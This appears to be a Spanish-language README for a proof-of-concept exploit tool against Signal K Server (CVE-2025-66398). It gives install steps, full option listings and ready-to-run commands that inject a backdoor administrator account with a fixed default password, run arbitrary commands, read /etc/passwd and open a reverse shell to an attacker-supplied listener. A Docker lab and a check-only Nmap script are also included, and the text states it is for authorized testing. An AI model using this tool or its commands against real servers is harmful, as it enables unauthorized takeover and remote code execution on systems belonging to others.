CVE-2025-66398 — Signal K Server ≤ 2.18.0 RCE PoC
CVE-2025-66398 es un problema del Servidor Signal K donde un atacante no autenticado puede envenenar el estado de restauración del servidor a través de /skServer/validateBackup, luego secuestrar la configuración mediante /skServer/restore para inyectar una cuenta de administrador backdoor y (opcionalmente) lograr RCE cambiando la estrategia de seguridad a un módulo Node.js controlado por el atacante.
Signal K Server ≤ 2.18.0
Impacto (alto nivel): contaminación de estado no autenticada → inyección de administrador backdoor → ejecución remota de código (cuando ocurre una restauración + reinicio)
/skServer/validateBackup acepta cargas no autenticadas.http-signalk-cve-2025-66398.nse listo para usar en escaneos de red (solo verificación, sin explotación).git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
go build -o exp cve-2025-66398.go
go install github.com/joshuavanderpoll/cve-2025-66398@latest
go run github.com/joshuavanderpoll/cve-2025-66398@latest -target http://127.0.0.1:8111
Este PoC tiene dos modos:
-check, -command, -read-file, etc. (Solo se recomienda si el primer modo interactivo fue exitoso)python3 cve-2025-66398.py -h
# o la versión GoLang
./cve-2025-66398 -h
___ __ ___ ___ __ __ _______ ___
____ _____ __|_ ) \_ ) __|___ / / / /|__ / _ ( _ )
/ _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
\__|\_/\___| /___\__/___|___/ \___/\___/___//_/\___/
https://github.com/joshuavanderpoll/cve-2025-66398
usage: exp.py [-h] [-target URL] [-useragent UA] [-timeout SEC] [-target-os OS] [-signalk-dir DIR] [-check] [-admin-user USER] [-admin-pass PASS] [-backdoor-user USER] [-backdoor-pass PASS] [-command CMD]
[-read-file PATH] [-write-file CONTENT PATH] [-code CODE] [-shell] [-lhost HOST] [-lport PORT]
CVE-2025-66398 -- Signal K State Pollution -> Backdoor -> RCE
options:
-h, --help show this help message and exit
-target URL Base URL of the Signal K server
-useragent UA User-Agent header for all HTTP requests
-timeout SEC Request timeout in seconds (default: 10)
-target-os OS Target server OS for payload/path adaptation: linux (default) or windows
-signalk-dir DIR Override the Signal K data directory on the target (default: OS-dependent)
-check Test if the target is vulnerable without exploiting it
-admin-user USER Admin username for Phase 2 restore
-admin-pass PASS Admin password for Phase 2 restore
-backdoor-user USER Backdoor username to inject (default: backdoor)
-backdoor-pass PASS Backdoor password to inject (default: H4CK1nd3x!)
-command CMD Execute a command on the server (non-interactive)
-read-file PATH Read a remote file via RCE
-write-file CONTENT PATH
Write CONTENT to PATH on the server via RCE
-code CODE Inject raw Node.js code as the security module
-shell Deploy a reverse shell (requires -lhost and -lport)
-lhost HOST Listener host for reverse shell
-lport PORT Listener port for reverse shell
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -check
# o la versión GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -check

Se incluye un script independiente de Nmap que realiza la misma sonda no autenticada — sin explotación.
# Contra un puerto conocido de Signal K
nmap -p 3000 --script ./http-signalk-cve-2025-66398.nse <target>
# Instalar en todo el sistema y ejecutar sin ruta
sudo cp http-signalk-cve-2025-66398.nse $(nmap --datadir)/scripts/
sudo nmap --script-updatedb
nmap -p 3000 --script http-signalk-cve-2025-66398 <target>
Ejemplo de salida:
PORT STATE SERVICE
9360/tcp open unknown
| http-signalk-cve-2025-66398:
| state: VULNERABLE
| title: Signal K Server Unauthenticated Backup Upload leading to RCE
| IDs: CVE-2025-66398
|_ references: https://github.com/joshuavanderpoll/cve-2025-66398 | https://www.cve.org/CVERecord?id=CVE-2025-66398
python3 cve-2025-66398.py -target http://127.0.0.1:3000
# o la versión GoLang
./cve-2025-66398 -target http://127.0.0.1:3000

El script hará lo siguiente:
.backup malicioso a /skServer/validateBackup (sin autenticación)/skServer/restoreEjecutar la cadena completa (Fases 1 → 3) y ejecutar un comando:
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"
# o la versión GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"

Leer un archivo remoto (Fase 3):
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd
# o la versión GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd

Reverse shell (Fase 3):
nc -lvnp 4444
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <TU_IP> -lport 4444
# o la versión GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <TU_IP> -lport 4444

Notas:
-admin-user/-admin-pass, el script asume que la cuenta backdoor ya está activa de una ejecución anterior.backdoor / H4CK1nd3x! (anular con -backdoor-user / -backdoor-pass).-signalk-dir <DIR>.Un entorno Docker Compose autónomo con el software vulnerable para pruebas locales. Consulta DOCKER.md para más detalles
cd docker/
docker compose up -d
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360 -check
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360
Este PoC es solo para fines educativos y pruebas de seguridad autorizadas. No lo ejecutes contra sistemas que no poseas o para los que no tengas permiso explícito para probar.